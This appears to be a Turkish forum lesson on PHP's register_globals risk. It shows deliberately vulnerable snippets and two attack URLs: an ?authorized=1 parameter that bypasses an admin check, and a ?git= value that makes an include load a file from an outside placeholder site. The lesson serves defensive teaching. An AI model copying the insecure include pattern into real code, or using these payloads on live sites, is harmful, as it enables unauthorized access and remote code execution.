İkinci dersimize hoşgeldiniz.Bu dersimizde sizlere bir önceki dersten biraz daha ileriye giderek devam edeceğiz.
İlk konumuz Register Globals
Register Globals php 4.2.0'dan sonra default olarak kapalı gelmektedir.Bunun en büyük sebebi ise bir güvenlik açığı olmasından ziyade bir güvenlik riski olmasıdır.
Peki neden bir güvenlik riski yaratır?
Niçin bu kadar ciddiye alınması gerekir?
Aşagıdaki kod öbeğini inceleyelim.
if (authenticated_user())
{
$authorized = true;
}
if ($authorized)
{
include '/admin/pages/config.php';
}
?>
Bu sistemde register_globals aktif ise bu sayfa ?authorized=1 değeri ile güvenlik önlemleri bypass edilerek kolaylıkla ulaşılabilecek bir duruma gelmektedir.yani birisi bu açığınızı farkedip adres satırına ?authorized=1 bu değeri eklediğinde sizin güvenlik koruması altına aldığınızı düşündüğünüz sayfanıza erişim imkanı doğacaktır.
Başka bir örnek ile devam edelim
include "$git/sayfa.php";
?>
bu sistemde register_globals açık konumda ise kötü niyetli kişilerce url hijacking olayı kolaylıkla yapılabilir.Nasıl mı?
?git=http%3A%2F%2Fistediginsite.com%2F%3F adres satırına bu basit kodu ekleyerek url hijack edilecektir.
Ne kadar basit değil mi ?
Sisteminizde sadece bir değer on konumda ve başınıza neler gelebiliyor...
Siz siz olun öncelikle elinizdeki sisteminize projenize scriptinize adına ne diyorsanız hiç bir zaman güvenmeyiniz.Her zaman açık olabileceğini düşünerek hareket ediniz.
Bir sonraki dersimiz olan veri filtelemede görüşünceye kadar hepinize iyi forumlar dilerim...